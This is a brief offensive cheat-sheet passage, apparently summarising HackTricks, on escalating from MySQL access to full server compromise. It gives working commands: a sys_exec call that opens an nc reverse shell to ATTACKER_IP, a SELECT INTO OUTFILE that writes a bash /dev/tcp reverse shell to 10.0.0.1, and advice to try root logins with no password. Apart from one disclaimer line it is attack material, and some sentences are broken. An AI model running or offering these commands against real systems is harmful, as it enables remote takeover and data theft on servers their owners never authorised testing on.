SELECT sys_eval('id'); SELECT sys_exec('nc -e /bin/bash ATTACKER_IP 4444');
These verified techniques are part of the – always test on authorized systems only.
The most common "Verified" technique documented in HackTricks is writing a webshell to the server. This bridges the gap between the database layer and the web layer.
It moves the attack from "Stealing Data" to "Total System Compromise." It essentially turns the MySQL service into a rootkit for the operating system. HackTricks provides detailed cheatsheets for the hex-encoding process required to transfer these binaries cleanly via SQL queries.
-- Write a reverse shell script SELECT "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" INTO OUTFILE '/tmp/rev.sh';
Always attempt a connection with the root user and no password: mysql -h -u root
